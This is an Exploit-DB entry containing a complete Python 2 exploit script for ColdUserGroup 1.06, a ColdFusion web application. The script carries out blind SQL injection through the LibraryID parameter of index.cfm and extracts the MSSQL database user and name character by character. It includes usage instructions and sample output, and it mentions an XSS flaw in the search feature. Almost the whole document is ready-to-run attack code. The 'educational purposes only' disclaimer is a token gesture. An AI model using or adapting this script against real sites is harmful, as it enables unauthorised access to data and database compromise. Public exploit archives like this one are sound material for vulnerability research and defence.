Exploit-DB #14935
Description: ColdUserGroup 1.06 - Blind SQL Injection
Type: webapps
Platform: windows
Date: 2010-09-07
Author: mr_me

Exploit:
#!/usr/bin/python
# ColdGen - coldusergroup v1.06 0day Remote Blind SQL Injection Exploit
# Vendor: http://www.coldgen.com/
# Found by: mr_me
# ----------------------------------------------->
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# ----------------------------------------------->
# The vulnerabilities:
# ===================
# - Blind SQL Injection in the index.cfm using parameters: ArticleID & LibraryID
# - XSS in the search 
# 
# This tool assumes the target has a MSSQL backend.
# ./ColdUsrGrp0day.py -p localhost:8080 -s "Author:" -t localhost:8500 -d /coldusrgrp/
#
# 	| ----------------------------------------------------------------- |
# 	|  -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- |
# 	| -------------------[ by mr_me - net-ninja.net ]------------------ |
# 
# (+) Exploiting target @: http://localhost:8500/coldusrgrp/
# (+) Using string 'Author:' for the true page
# (+) This will take time, have patience..
#
# (+) Testing Proxy...
# (+) Proxy @ localhost:8080
# (+) Building Handler..
# 
# (!) Getting database user: sa
# (!) Getting database name: coldusergroup

import sys, urllib, re
from optparse import OptionParser

usage = "./%prog [<options>] -s [true string] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -s 'Author:' -t localhost:8500 -d /coldusrgrp/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
                  help="Directory path to the CMS")
parser.add_option("-s", type="string", action="store", dest="trueStr",
                  help="String that is on the 'true' page")
(options, args) = parser.parse_args()

def banner():
    print "\n\t| ----------------------------------------------------------------- |"
    print "\t|  -= ColdUserGroup v1.6 0day Remote Blind SQL Injection Exploit =- |"
    print "\t| -------------------[ by mr_me - net-ninja.net ]------------------ |\n"

if len(sys.argv) < 5:
	banner()
	parser.print_help()
	sys.exit(1)

def setTargetHTTP():
	if options.target[0:7] != 'http://':
		options.target = "http://" + options.target
	return options.target
	
def getProxy():
	try:
		proxy = {'http': "http://"+options.proxy}
		opener = urllib.FancyURLopener(proxy)
	except(socket.timeout):
		print "\n(-) Proxy Timed Out"
		sys.exit(1)
	except(),msg:
		print "\n(-) Proxy Failed"
		sys.exit(1)
	return opener
	
def getRequest(exploit):
	if options.proxy:
		try:
			options.target = setTargetHTTP()
			opener = getProxy()
			check = opener.open(options.target+options.directory+exploit).read()
		except urllib.error.HTTPError, error:
			check = error.read()
		except socket.error:
			print "(-) Proxy connection failed"
			sys.exit(1)
	else:
		try:
			check = urllib.urlopen(options.target+options.directory+exploit).read()
		except urllib.error.HTTPError, error:
			check = error.read()
		except urllib.error.URLError:
			print "(-) Target connection failed, check your address"
			sys.exit(1)
	return check

basicInfo = {'user':'user_name(0)', 'name':'db_name(0)'}

def getBasicInfo(info, x):
    for i in range(32,126):
		request = ("index.cfm?actcfug=LibraryView&LibraryID=209+AND+ISNULL"
		"(ASCII(SUBSTRING(CAST((SELECT+LOWER("+info+"))AS+varchar(8000)),"+str(x)+",1)),0)="+str(i))
		result = getRequest(request)
		if re.search(options.trueStr,result):
			x = x+1
			sys.stdout.write(chr(i))
			getBasicInfo(info, x)
	
if __name__ == "__main__":
	x = 1
	banner()
	options.target = setTargetHTTP()
	print "(+) Exploiting target @: %s" % (options.target+options.directory)
	print "(+) Using string '%s' for the true page" % (options.trueStr)
	print "(+) This will take time, have patience.."
	if options.proxy:
		print "\n(+) Testing Proxy..."
		print "(+) Proxy @ %s" % (options.proxy)
		print "(+) Building Handler.."

	for key in basicInfo:
		sys.stdout.write("\n(!) Getting database " + key + ": ")
		getBasicInfo(basicInfo[key], x)